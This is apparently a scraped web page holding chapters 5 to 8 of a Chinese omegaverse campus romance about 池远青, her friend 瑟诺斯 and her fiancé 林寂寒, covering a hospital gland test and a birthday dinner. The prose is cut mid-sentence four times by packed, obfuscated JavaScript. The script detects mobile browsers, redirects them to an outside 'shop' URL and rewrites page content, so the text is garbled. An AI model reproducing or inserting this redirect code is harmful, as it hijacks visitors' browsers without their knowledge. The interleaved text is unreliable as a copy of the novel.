RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470500|201453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的鼻尖。 其实艾德利斯学院的很多课她都没怎么上过,她实在是无法理解整理家务为什么还要作为一门专门的课程来进行学习。 阿西娜提醒她,还有半年她就要毕业,但是她很想告诉阿西娜,以她的分数也许无法按时离开艾德利斯学院了。 不过算了,这个消息也许会把阿西娜气个半死,毕竟当初林寂寒约定只会帮助她到毕业。 瑟诺斯沉默下来,过了会儿又干巴巴地安慰她,“没关系的,只是几个学分而已,只要没有倒扣,毕业应该也够了。” “……”池远青再次沉默。 “……池远青。” “嗯。” 瑟诺斯的嘴张了又张,有些磕巴地说,“没关系的,如果实在不行的话,我叫我父亲给院长写封信,他肯定会帮忙的,这不是什么大事,真的,没关系。” “呵,”池远青没忍住笑了出来,“逗你玩儿的。” “真的吗?”瑟诺斯松了口气,“吓死我了。” 上午只有一节课,课上,爱诺和一圈围在她周围的人对着池远青和瑟诺斯的背影指指点点,嘲讽他们运气好,又嘲讽他们是一丘之貉。 池远青面不改色地翻着书,瑟诺斯反而气得够呛。 “我一定要和爱诺的父母狠狠地告一状,”瑟诺斯对池远青说,“我不相信没人治得了她。” 池远青又翻了一页书,“不要生气。李柏调查停职,需要有人来暂时接管他的位置,这些事情也许会被重新调查。” 事实果然如池远青所说,当天下午新接任的教务老师就把当时在场的学生叫到了办公室。 对方没有给任何人辩驳的机会,将烘焙室几次发生爆炸的元凶都揪了出来,平等地扣除了所有人一学期的学分,并要求他们承担烘焙室重建的重要任务。 从办公室出来,爱诺愤怒地看向后面的池远青和瑟诺斯二人,“不要以为这么一点小小的惩罚就会让我退缩!我绝不允许你这样的人污秽艾德利斯学院!” “不知道的以为你是天使加百列呢,”瑟诺斯反唇相讥,“走过的地方都收到祝福了呢。” 爱诺狠狠地瞪了瑟诺斯一眼,对池远青说,“我们走着瞧。” 她脚步快到飞起,显然是被气到想要尽快离开这里。 瑟诺斯不解,“她到底在愤怒什么?” “不懂。”池远青摇摇头。 “修缮烘焙室需要很大一笔费用,”瑟诺斯对池远青说,“不过你放心,到时我会雇人过来修缮,这样你的压力就没有那么大了。” 其实林寂寒已经将资金提前拨给了艾德利斯学院,这笔钱其实是艾德利斯学院对于学生的处罚金。 “谢谢你,瑟诺斯,不过不用了,虽然资金我帮不上忙,但是修缮还是可以的,”池远青扬起嘴角,“这回该我说了,不用担心我,瑟诺斯。” 金色的阳光照耀在池远青的脸上,模糊晕染开的光边让她显得格外温和与神圣。 瑟诺斯的心怦怦跳,“那,那好吧。” 池远青看了他一会儿,“你怎么了,脸这么红?” “什么,我也不知道,”瑟诺斯摸了摸自己的脸,“对啊,我的脸怎么这么红?” 池远青好像闻到了什么味道,意识到这一点的她立刻反应过来,“去医务室!” 5. 第 5 章 “是分化期到来之前的身体反应,”校医在瑟诺斯的后颈上贴上了一片抑制贴,她的脸上带着慈祥的笑容,“恭喜你,你很快就要进行分化了,身体也会随着分化而渐渐发生变化。” 瑟诺斯把下巴藏进了衣领里面,露出来的皮肤也染上了淡淡的绯色。 池远青:“分化前有什么需要注意的吗?” 校医:“这段时间可能时不时地就会出现体温升高、信息素外泄的情况,可能还会出现身体虚弱、四肢无力的状况,因此一定要时刻注意自己的身体变化,随身携带抑制贴和信息素检测手环。” 她举起来一堆五颜六色的手环,“你喜欢哪个颜色?当然,这个只是暂时用的,功能也非常少,你回去之后可以去相关用品店挑选更优质的手环。” 瑟诺斯看了眼池远青,后者也回望过来,然后在校医手里挑选了一根淡蓝色的手环递给了瑟诺斯, 瑟诺斯有很严重的选择困难症,因此每次做选择的时候他都会非常纠结。 但是池远青是与他完全相反的存在,所以很多时候他都会倾向于让池远青帮他做选择。 “谢谢,”瑟诺斯高兴地接了过来,“我也觉得这个颜色非常漂亮。” “你们之间的关系真好。”校医把手环给瑟诺斯戴上。 “当然,”瑟诺斯把下半张脸从衣领里拔了出来,开心地说,“池远青是我最好的朋友。我们还约定以后要一起度过发、情期,互相保证对方的安全。” 池远青炸了眨眼睛,思考自己是什么时候许下的这种诺言,但是在她贫瘠的大脑之中实在很难找到这样的记忆。 相比较而言,瑟诺斯天真活泼,同时也比较神经大条,所以他嘴里冒出什么话来,池远青都不会太惊讶。 从校医院出来,瑟诺斯已经把自己裹得严严实实的,他闷闷的声音从口罩下来传出来。 “没想到分化之前这么难熬,前两天我还看到有个学弟田径课跑得好好的突然倒在地上,听说也是这种情况,”瑟诺斯看向一遍的池远青,“你最近有没有不舒服的感觉?” 池远青被他问了,才厚之后觉地意识到自己没有任何反应。 她摇了摇头。 “不应该啊,”作为同龄人之中比较瘦小的存在,瑟诺斯都已经应来了分化前的征兆,没有道理池远青没反应。 “没准我分化不成omega呢。”池远青笑了下,“也许我是个beta也说不准。” beta吗?瑟诺斯想了想,觉得池远青如果是个beta也不错,要是那样的话,以后发情期不舒服的时候,池远青也可以陪他度过,而且还不会受到任何影响。 池远青没有想那么多,只是摸了摸后颈还未完全发育好的腺体。 一直没有征兆,该不会她的腺体有什么问题,或者她根本就是个腺体残疾吧? 有些问题不想的时候还好,一旦开始思考就会变得复杂棘手起来。 池远青在寝室里辗转反侧了一个晚上,最终决定早起去做一个腺体检查,不,还是做一个全身检查,从里到外、从上到下都检查一遍才放心。 第二天一早,池远青就去附近的医院挂了个号,在外面排队的时候池远青接到了林寂寒的消息,让她今天晚上回去一趟。 【原因?】 【我让你回来还要原因?】 另一边的林寂寒看到终端上的消息发出一声冷笑,“如果不是管家说今天是她的生日,我会屈尊降贵地让她回家?” 另一边端着咖啡路过的白大褂回头看了他一眼,犀利地评价,“这也叫纡尊降贵?军校是不教人类书面语言吗?” “我喜欢用什么词就用什么词,”林寂寒说着话,手上的动作也没有停下,“再说了,她回去有司机接,有厨师做菜,有管家服务,她就是出个人而已,她有什么不愿意的?” 【池远青,你给我等着。】 慎玉山却皱着眉头,“林寂寒,你这样的想法是不对的。” 林寂寒抬起头,他又熬了一天一夜,身上的军装虽然看起来还算整齐,但是细节处早就已经暴露了他的疲惫。 他将额头的头发往后捋,“什么意思?” 慎玉山对他说,“当初池远青父母去世之后,虽然是你一直在抚养她,但是……” “能不能不要用抚养这个词,听起来好像我年龄很大似的?” 当然更重要的原因是,这样听起来他很像是池远青的养父。 虽然辈分是涨了,但是养父听起来实在是非常坏人心情。 “好好好,”慎玉山习惯了林寂寒这幅样子,“是你一直在照顾她,到现在为止已经三年了,但是照顾她是你的选择,不是她的,所以你不能抱着这种施恩一样的心态对待她。” 林寂寒的脸上没了表情,深邃的目光让人一时之间无法琢磨透他的想法。 “她现在年纪还小,正是自尊心很强的时候,言辞不注意很容易伤害到对方。” “你身上穿的不是白大褂吧。” 慎玉山一愣,低头看了看,不明所以地说,“是啊。” “是吗?”林寂寒向后靠在沙发上,“我还以为你身上穿的是上帝的圣袍呢,不然你怎么会说出这么一番伟大无私的言论?” “……”慎玉山沉默,无奈,最终叹了口气,“我只是不想你们有隔阂。” “您记挂得太多了,我比任何人都要了解池远青,”林寂寒长腿架在面前的小茶几上,“我现在算是理解你为什么放着自己家的医院不待,非得跑到这个简陋的小医院来了。” 当然是为了实现救人的梦想,虽然慎玉山说过很多回,但是碍于他政务官员儿子的身份,几乎没有人相信他如此朴实的愿望。 ——林寂寒除外。 “离她毕业的时间近了吧,应该也要分化了,到时候你打算怎么办,你要和她结婚吗?” 慎玉山在林寂寒旁边坐了下来。 林寂寒没有立刻回答,而是问,“问这个干什么?” “私心上,你们早有婚约,又彼此熟悉,我当然觉得你们结婚是最好的。” 林寂寒早就想到了,闭眼,点头,聆听瑟诺斯的神父一般的教诲,“继续说。” “但是理智上来说,你们实在不太合适,更重要的是,寂寒,你对她有感情吗?” 慎玉山虽然圣父了一些,但是提问问到了点子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470501|201453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 林寂寒表情没有任何波动,“怎么没有感情,我也算抚养了三年。” 这么时候不嫌年纪大了。 慎玉山摇摇头,“但是这不是爱情,不足以支撑你们一直走下去,这样的话,你以后大概率会出轨的。” “……为什么会出轨的是我,不是池远青?” “她看起来不像那种人。” “我像?”林寂寒一下子坐了起来,“我哪里像?你今天把话给我说清楚。” 慎玉山又端着咖啡杯站了起来,“没水了,我要去接点热水,给你也倒一杯吧。” 慎玉山开门出去,不到三分钟又回来了,表情严肃,“林寂寒,我在腺体科见到了池远青,她该不会是病了所以才拒绝你的吧?” 原本安然不动坐在沙发上的人突然站了起来,扣上随意解开的扣子往外走,“她生病了更应该找我才对,怎么可能在外面自己悄悄看病?” 话虽然这样说,但是谁都无法百分之百确定另一个人是怎么想的。 慎玉山看着林寂寒大步走出去,顿了顿又说,“左边左边,不是右边。” 林寂寒回来把慎玉山拽上,“带路。这小破地方还弄这么多弯弯绕绕。” 慎玉山也没办法,就这么一栋楼还是东拼西凑了好几年才建起来的,当然,这是在他来之前的事情了。 “什么叫检测不出来?”池远青拿着空白一片的检测单子,脑子也一片空白,“是我的腺体有问题的意思吗?” 医生也是一头雾水,“我也是第一次遇见这种情况。” 他让池远青靠近看向机器屏幕,“看见这个数值了吗,按理来说即将分化的omega或者是已经分化完成的omega,这个数值都是在50以上,但是你的数值是0。这不可能,就连beta也在20-30之间,除非你不是人。” “……你在骂人吗?” “……我只是客观解释。” “那就是你们的机器坏了。”池远青斩钉截铁地说。 “不可能,这台机器是最先进的设备,上个月才进回来的,价值几千万呢。” 池远青更觉得是机器的问题了。就这么个简陋的医院,既然能有几千万的设备,绝对有问题。 她把单子扔进垃圾桶,转身就准备离开,结果却看到了不该出现在这里的林寂寒。 他站在狭窄的楼道另一边,手里拎着制服,衬衫穿得板板正正,光鲜亮丽地不像是会出现在这个小医院的人。 “你怎么在这里?”林寂寒看了眼她空荡荡的双手,“病了?” 不然怎么一见着他就把所有的单子都扔掉了? “没有。”池远青回答。 林寂寒的表情有些复杂,不禁扭头看了眼好友。 慎玉山叹了口气,心想果然是这样,昂贵的自尊心让池远青根本不想暴露自己的问题。 他对池远青说,“没关系的,有什么病一定要说清楚,我们都会帮你的。” 林寂寒抿唇,冷淡地“嗯”了一声。 “我只是来做个身体检查。” 林寂寒没有被糊弄住,“好端端的,怎么会来做身体检查?” 6. 第 6 章 林寂寒看着池远青的双眼,“艾德利斯学院每年有针对师生的身体检查,我记得不久之前刚刚做过,为什么你又要做?” 林寂寒怀疑一个人的时候,简直不给对方任何委婉和思考的时间,而是直接将人逼到死胡同,要求对方必须把事实说清楚。 池远青本来觉得他这一点挺不错的,不过用到自己的身上就另当别论了。 眼见着池远青不说话,两个人的气氛有些微妙,慎玉山有点想要缓和气氛的意思,“寂寒,你也别这么凶,远青有事情不想告诉别人很正常,我们……” “谁是别人?”林寂寒不满地看向他,“你见过我这种类型的‘别人’吗?” 慎玉山深吸了口气,扭头看见池远青没什么表情的脸,“我就是怕你把远青给吓到了。” “我会吓到她?”林寂寒的声音里充满了质疑,然而当他面对池远青的时候,还是自以为地柔和了一些,“说吧,到底是怎么回事?” 话没说完,另一个白大褂从诊室中冲出来,看见站在门口的池远青立刻拉住她,满脸兴奋,“没问题,没问题,机器真的坏了!不是你有问题!下一个患者也查不出来!” 属于三个人的目光分别又整齐地落在他的身上。 医生看看这个,看看那个,最终看见了慎玉山,张了张嘴才意识到自己说了什么。 他的表情一下子变得悲怆起来,“慎大夫,咱们刚买的机器,坏了!” 十分钟之后几人才彻底弄明白了怎么回事,医生带着池远青换了个机器重新做检测,慎玉山则继续教育林寂寒,“你以后真是要稳重一点,今天只是一件小事,但是反应出来的问题却是很大的!” 林寂寒没回答,只是从神情能够看出来,他根本没把这些话听进去。 慎玉山顿了顿,“你到底有没有听我说话?” “听着呢。”林寂寒回答。 沉默蔓延,过了会儿慎玉山挨着林寂寒坐了下来,意味深长地说,“寂寒,我想你自己应该也意识到了,你还是在意池远青的。不管你的心里到底是怎么想的,我都希望你不要后悔,当然,也不要出轨。” “我自己养的,我当然在意。还有,我不出轨。” “你明明知道我说的不是这个,是感情,你……” 林寂寒轻轻嗤了一声,“劝你还是不要操心我比较好,先想想自己的麻烦吧。” 慎玉山出来工作本身就没有经过父母的同意允许,家里还不知道要怎么闹呢。 就在这个时候,房门被敲了又敲,池远青从外面探出个头来,“检查完了。” “结果怎么样?”慎玉山站起身来,又被林寂寒摁了回去。 林寂寒抬抬下巴,“说吧。” 池远青看了眼报告,“数值在正常区间内,没什么别的问题。” 后面跟着的医生也为她作证,她绝对没有诓骗林寂寒地可能。 不过最终还输慎玉山下了决定之后,林寂寒才把这件事情揭过去。 但是这样一来,原本打算检查完就会回艾德利斯学院的池远青被林寂寒抓了个正着,直接就被打包塞了进车里。 池远青把纸质报告团成一团,刚好打在了坐进车里的林寂寒的头上。 “啊,不好意思,手滑了。”池远青笑眯眯地说。 “手滑了,”林寂寒捡起那个纸团,皮笑肉不笑地看着她,“那你滑得挺是地方的啊。” 林寂寒没跟她计较,但是也对池远青这种隐瞒他的行为非常不爽。 他不爽,车就开得飞快,而让人奇怪的是池远青今天老实得出奇。 池远青不是老实,是她的思绪已经被之前的事情占满了。 “你的这个数值偏低啊,”医生盯着屏幕上闪动的数字,“已经快要下降到50了。” 池远青看了眼,狐疑地问,“什么意思,我要分化成beta了?” 医生没说话,只是一味地盯着那个数值,像是遇到了什么难题。 池远青非常质疑,“这个机器该不会也坏了吧?” “怎么可能一天坏两台,”医生赶紧让她闭嘴,“别说这种晦气话。” 尤其是第一台在池远青之前都没有问题,遇到她就坏了,第二台要是也坏了,他上哪找人说理去? 不行,不管真正的原因是什么,还是得给她加入黑名单了。反正医院那么多,不差这一个。 医生心里想的,跟池远青心里想的是一样的。 如果早知道慎玉山在这家医院上班,她根本就不会来这里。 医生这个时候突然单手握拳锤了下机身,屏幕也跟着颤动了下,紧接着数值就从51上升到了65。 “……你这机器靠谱吗?” “都说了是价值几千万的高端机器!很多大医院都没有的!” 话虽然这么说着,但医生仍然采用最原始的方法又捶了两下,只不过这一次数值没再发生波动。 “这回是正确的,”医生斩钉截铁地说,“新机器运行有时候需要外界辅助,过两天就好了。” 医生将纸质报告打出来递给她,“早睡早起,营养均衡,及时关注身体变化,有问题的话再来找……再去找医生。” “……谢谢。” 离开检测室前,池远青回头看了眼检测的机器,上面还挂着她的数值,就在她把头转回去的那一刻起,数值突然快速转换,最终停留在了20一栏,随即机器刷新,数值清零,检测室的门也被关上了。 池远青脑子里装着事儿,一路上没怎么和林寂寒说话,等到了别墅门口之后,才发现林寂寒的脸色很不好看。 池远青吓了一跳,想了想又说,“这么难看的表情不应该出现在一张这么俊美的脸上。” 林寂寒本来想追究一下池远青的隐瞒,结果还没说出来就被池远青一句话堵得死死的。 他扯了下嘴角,“池远青,你就嘴上说得好听。” 他伸出手两只手捏着池远青的脸颊往往两边扯。 池远青呲了下牙,不过没有挣扎。 “算了,”林寂寒松开手,还很嫌弃地在手帕上蹭了蹭,“今天不跟你计较。” 他走在前面,池远青落后他半步,盯着他的背影沉思。 她结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470502|201453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 束得快,回去的也早,所以听到了林寂寒和慎玉山的对话。 对于这个结果,池远青并不感觉到意外,或者说如果林寂寒对她有感情,她才会觉得奇怪。 之所以这样说,是因为最开始婚约定下来的时候,两个人就一直不对付。 可能这世上有的人就是天生磁场不和,以至于一见面就是天崩地裂,池远青和林寂寒就是这样的。 对于这场婚约,林寂寒也一直表现得非常抗拒。 事情的转折就是从池远青的父母去世开始的。 林家的态度发生变化,虽然对方没有直白的提起,但那种想要撇清关系的姿态一目了然。 只不过池远青当时很忙,忙到没有时间去处理一个小小的婚约的问题。 更大的危机随着她父母的去世涌现,资产被查封,亲戚朋友被调查清算,而理由则是无稽之谈的叛国罪。 虽然这份罪责最终没有坐实,但是失去的东西也很难拿回来了。 林寂寒就是在这个时候出现在她的出租屋的门口。 “这种地方可以住人吗?” 池远青下意识的以为对方是过来落井下石的,她的手里端着一杯滚烫的开水,如果对方再多说一句,她就要把这杯开水泼到他漂亮的脸上。 然而林寂寒下一句却是,“跟我走。” 池远青不解,“为什么?” “你不是我的未婚妻吗?”林寂寒斜睨着她,“居然想要自己住在外面,你有问过我的意见吗?” 还没等池远青说话,林寂寒又道,“当然,就算你现在问我的意见,我也会告诉你,我不同意。所以现在收拾东西跟我走。” 继续住下去,还是跟林寂寒走,根本是个完全不需要思考的问题。 池远青当即带着自己为数不多的东西和林寂寒走了。 “我觉得你的父母应该不会同意。”池远青说。 “他们订立婚约的时候也没有经过我的同意啊,”林寂寒嗤笑一声,“现在我想要做什么凭什么需要他们同意。” 就这样,池远青留在了林寂寒的家里,以未婚妻的名义,虽然他们都清楚,以后根本不会有什么所谓的婚姻。 这么想来,林寂寒是她半个衣食父母,如果不是年纪差得太小,她还真能认个干爸。 池远青被自己的想法逗笑了。 林寂寒听到笑声回头,表情费解,“你走路把自己走笑了?是台阶长得好笑,还是路边的野花给你讲笑话了?” 怎么时不时地还冒点傻气呢? 池远青摇头,“你叫我回来到底是什么事情?” 她回来的次数其实并不算多,但几乎每一次都是林寂寒强硬要求的。 林寂寒拉开门,示意她进去。 管家站在门口,猝不及防地开了个礼花。 五颜六色的电子花瓣夹杂着彩片落下,“生日快乐,池小姐!” 管家扬起嘴角,“哦,电子不用扫,比较环保。” 池远青没在意,回头看了眼林寂寒。 他靠在门口,眉头挑起,“看我做什么?生日快乐啊。” 7. 第 7 章 今天晚上厨师准备的晚餐非常丰富,离开之前他还仔细询问了下池远青的感受以便于下次做出改进。 “还有,生日快乐,池小姐。”厨师对她笑了笑,然后收拾东西下班了。 正常来讲厨师都是走后门离开的,很少会经过主家的餐厅,如果会这样做,那么一定是主家有所要求。 池远青抬起头看了眼对面的林寂寒。 他的吃相与本人性格不同的斯文,这是常年接受良好的礼仪教育而留下的习惯,所以尽管进入军校,体力大量消耗之后,他也不会改变自己的进食习惯。 “你怎么又看我?”林寂寒扫了她一眼,“他自己想要祝贺你一下,我又不能拦着他。” “谢谢。”池远青却说。 “太客气了,”林寂寒一只手臂撑在桌子上面,脸上的笑容调侃,“被我感动坏了吧?不过不用这样,我也没怎么费心思。” 管家慈祥温和的声音响起,“不客气的,池小姐,这都是我应该做的。很高兴有为您庆生的机会。” 林寂寒扭过头,就见管家笑容洋溢的模样,像是看自家女儿似的。 管家感觉到一阵极其醒目的注视,只不过等他转过去的时候,对方已经收回了视线,只不过嘴角绷得很紧,好心情又有即将崩塌的征兆。 “这都要多亏少爷的提醒。”管家立刻说道。 “谢谢。” 好敷衍,与和管家说谢谢时候的反应截然不同。 林寂寒气得想笑,却又拉不下这个脸面,只是面皮紧绷,要笑不笑的,看起来甚至有些阴森,“不用谢,只是提醒一下对方而已,怎么劳您大费口舌地感谢我一番呢?” 池远青无奈,她伸手盛了一碗汤,双手端着递给面前的青年,然后调整了自己的表情,让自己看起来就算是不是感激涕零,至少也是真情实意。 “非常感谢你,寂寒哥,如果不是你,这样的日子不仅没人记得,就连我自己也会遗忘,是你的提醒,让我明白我不是孤单一人,我还有不是亲人胜似亲人的你。” 池远青眨了眨眼睛,挤出来两抹湿润,这回看起来应该足够有诚意了。 管家悄悄转过身子,无声地叹了口气。 而林寂寒被她恶心了一下,沉默两秒,然后把碗接了过来,“行,你的心意我感受到了。” 吃完饭后,池远青回到自己的房间,立刻就注意到了放在地板中央的粉色盒子,系着白色蕾丝丝带,还有一张卡片,上面龙飞凤舞地只写了一个字。 拆。 不用想也知道这份礼物是谁送的。 池远青小心将包装拆开,盒子里面放着最新款的手环式终端,戴在手腕上面就会二十四小时显示她的信息素数值变化以及身体状况,并且—— 她仔细研究了下手环中的说明文件,发现这是一对手环之中的副款,也就是说,如果她出了问题,手环会立刻将她的消息发送给林寂寒。 换做其他人,会以为主环的主人在监控自己,但是如果是林寂寒的话,那就是单纯地想要确保自己的安全。 池远青手里捏着手环,眼眸垂下。 虽然林寂寒接受了她在医院的说辞,但是显然还是有些不放心。 怎么能有人像他这样嘴硬心软? 当天晚上,池远青就再次爬了林寂寒的窗户。 以她对这个人的了解,对方今天晚上送了礼物,肯定会对她打开方便之门,以便于接受她的感激之情。 事实也的确如此,不过林寂寒没想到她是爬窗户过来的。 所以当听到窗户被人敲响的时候,林寂寒第一反应是想开一枪,然后才开始怀疑是不是池远青又不走寻常路了。 窗户被推开,穿着睡衣的林寂寒出现在面前,匪夷所思地看着她,“我是在楼梯上安装了电击垫吗,为什么你一定要走窗户?” “没有吗?”池远青表情震撼。 “……你把我当成什么人了,刑讯官吗?” 不,刑讯官大概都不会有他的形象这么差。 林寂寒对自己产生了怀疑,他是不是对池远青太差了? “开玩笑的,”池远青面不改色,“我就是怕你死装着不给我开门,但是不开窗户我也可以进去。” “……”确实有那么一点类似的想法,不过还没有付诸实践。 池远青了解林寂寒,就像是林寂寒了解池远青一样,太透彻了。 林寂寒双臂撑在窗台上,身上黑色的丝质睡衣松松垮垮,露出白皙紧实的胸膛——长期在军校训练的就是不一样啊。 “看什么呢?”林寂寒的声音幽幽传来。 不过他只是觉得池远青视线游移,但是并没有明白对方在看什么。 所以他又弯了弯腰,压低了身子,也无意识地将自己暴露得更多,“你是不是真的觉得我不会教训你?” 现在就算教训她也值了。池远青笑了两声,“我是来感谢你的,你怎么还威胁上我了?” 果然不走门是对的,否则对方非得让她在门口深情演绎她的感激之情不可。 林寂寒冷哼了一声。 “今天真的很感谢你,”池远青端正了下自己的态度,“你的礼物我也收到了,我很喜欢。” 听到这里,林寂寒的嘴角有小弧度的扬起,“然后呢?” “晚安,祝你好梦。” 然后池远青就手脚麻利地溜回到了自己的房间,还朝着林寂寒挥了挥手,“早点睡吧,你都有黑眼圈了。” “我有黑……” 池远青嗖的一下钻进了自己的房间。 “……眼圈?”林寂寒咬牙切齿地关上了窗户,然后快速走到了卫生间门口。 不对,他这是在做什么?一个黑眼圈有什么可在意的? 他起早贪黑地进行毕业典礼的排练,有黑眼圈的也算是正常。 所以,那不是黑眼圈,那是他努力过后的勋章,任谁一看,都知道他付出了多少的努力。 想到这里,林寂寒说服了自己,离开卫生间门口躺回到了自己的床上。 十分钟之后,他顶着两片淡化黑色素的保湿紧致眼膜进入了梦乡。 第二天吃早饭的时候,池远青多看了林寂寒两眼,不知道为什么她总觉得今天早上对方的气色非常好,但是却也看不出什么其他特别的地方。 最终池远青只能归结为林寂寒天生长得好看。 吃完早餐之后,林寂寒递给了池远青一张金属卡片,“这周末是我的毕业典礼,你如果想要来的话可以过来看看,到时候会有大型表演赛,长长见识。” 他知道池远青对这些感兴趣,只不过一个omega学了这些也没什么用,所以池远青从来没有提过。 卡片是银色金属制成,里面包含着一张芯片,在进入军校的时候会自动审核,并且在卡片的左下方还有一个手刻的林寂寒的名字。 这个东西如果拿出来,还不知道会被怎么议论。 “好。”池远青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470503|201453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有说去还是不去,林寂寒看起来也并不在意,只不过等到去艾德利斯学院的时候,他声称有事让司机送她离开。 “……果然还是生气了。”池远青站在门口,表情都有些憔悴了。 “少爷确实有点爱闹小脾气,”管家站在她的身边,目光里全是回忆,“他小的时候就是这幅样子,只不过先生和夫人都不是纵容孩子的人,所以少爷都没有地方可以耍小脾气。” 直到池远青来到这里,简直没有比她更合适的人选了。 管家在拐弯抹角地告诉她,她对于林寂寒来说还是很重要的。 池远青没接话,笑着说,“那我走了,管家叔叔,我会想念你的。” “我也会想念您的,池小姐。” * “你昨天晚上去哪里了?我去寝室想要找你,却没有见到人。”瑟诺斯挨着池远青的位置坐。 他看了眼台上正在侃侃而谈的老头,压低声音问池远青。 艾德利斯学院有宿舍,只不过比起宿舍来说,很多人都是宁愿乘车往来,不过池远青不在其中。 瑟诺斯原本也是不住宿的,后来为了找池远青方便,有的时候也会在学校住。 “昨天晚上有事回了趟家。” 瑟诺斯知道池远青家里没有什么人了,还以为他回的家是冷冰冰的,空旷无比的。 他一想到这些,就觉得鼻子发酸,眼睛也红了。 “昨天是你的生日,我还给你生日礼物的。”瑟诺斯委屈地说。 说完他把一个小小的盒子递给了池远青,没等池远青说什么,教授叫了瑟诺斯的名字。 瑟诺斯吓了一跳,立刻站了起来,这么一来,所有人的视线都看向了他。 尤其是自那天之后脸色始终不好的爱诺。 “上课不专心,瑟诺斯。”教授隔空点了点他。 瑟诺斯的脸红了起来。 教授出了个问题,“只要你能回答上来,这节课我就不扣你的学分了。” 瑟诺斯看了一眼就觉得头大,这是道数学题,虽然现如今电子算法已经完全可以取代人工计算了,但是艾德利斯学院一向秉持着教导出全方面发展的、尤其是能帮忙操持家务的omega(明面上当然不会这么说),因此数学也是一门重要课程。 瑟诺斯脸色涨红,答不出来。 就在这个时候,池远青碰了碰他的手臂,将写好过程以及答案的纸条推到了他的面前。 瑟诺斯感激地看了眼池远青,随即抬起头来磕磕绊绊地回答了。 教授听完之后沉默了一会儿,弄得瑟诺斯非常紧张。 “好,正确。今天算你运气好,如果再有下次的话,结果你是知道的。” “谢谢老师。”瑟诺斯连忙鞠躬。 下了课之后,瑟诺斯赶紧把礼物塞给池远青,一边吐槽着,“真不知道我们学这些东西有什么用,还要提问,又不是刚开始接受文化教育的小孩子。” 池远青打开,盒子里面是一条粉钻的项链。 瑟诺斯兴奋地问,“漂不漂亮?这可是我挑了好久才确定下来的。” “很漂亮,谢谢你,瑟诺斯。” “这周末第一军校要举行毕业典礼了,听我表哥说优秀毕业生会在典礼上面进行战斗模拟表演赛,他也会参加,池远青,我们一起去吧!” 他掏出一张熟悉的银色金属卡片,“我有一张亲属卡哦!” 池远青看过去,“这叫亲属卡?” 8. 第 8 章 “对,亲属卡,”瑟诺斯以为池远青是好奇,耐心地解释,“但是这种亲属卡的发放是非常严格的,因为军校是非常严肃且机密的地方,因此只有很少一部分学生拥有获得亲属卡的资格。不过就算得到了这个东西,进入军校仍然需要严格的审核机制。” 瑟诺斯说到这里撇了撇嘴,“这次如果不是表哥参与毕业典礼表演,他又格外喜欢场外加油的话,恐怕也不会把这张卡片交给我。他居然还让我用完之后还回去。” 池远青笑了下,觉得挺有趣的,“还要还回去?” “可不嘛,因为亲属卡的数量是有限的,”瑟诺斯恨恨地说,“听说有些教学楼还可以凭借亲属卡进去,这么珍贵的东西,他才舍不得长期留给我。” 原来这么珍贵啊。不过以林寂寒的能力手里大概也不会只有这么一张。 “所以你要不要和我一起去,我可以带一个人的,”瑟诺斯拉住池远青的胳膊,撒娇地说,“陪我去吧,我自己一个人去好孤单、好寂寞,没有你我可怎么办?” 池远青沉默了两秒,瑟诺斯以为她还在考虑,立刻添了一把火,“我表哥说那里有单独的参观室,完全不用在外面跟其他学生挤位置,而且听说军校的伙食特别好。” “怎么样,心动了吗?” 池远青下意识地摸了摸口袋,隔着布料,感受到了金属卡片的坚硬边缘,然后她就答应了。 “太好了!”瑟诺斯兴奋不已,“那天我来接你,咱们一起去!” “好。” 周末眨眼间就到了,瑟诺斯早早地等在池远青的寝室门口,等她一打开门,就拉着人下了楼,然后将她推进了车里。 瑟诺斯坐在她的旁边,表情兴奋,“我表哥说今天会有很多媒体进行直播,还有不少受邀嘉宾,非常热闹。” 他想了想,又小声说,“还有很多帅哥美女。表哥说让我这次好好注意下,以后有可能会联姻。” 说完这句话,瑟诺斯莫名有些忐忑,他盯着池远青的侧脸,很想要知道她会如何评价这件事情。 或许因为池远青是他最好的朋友,他总是希望能够得到池远青的答案,但是连他自己都不知道,他想要听到什么。 池远青对瑟诺斯的话兴致缺缺。 “看来你表哥很关心你,已经开始考虑你的未来了。”池远青很官方地回答。 瑟诺斯很不满意她的回答,“你怎么也和那些老顽固一样,你难道也希望我做个为家族联姻的棋子吗?” 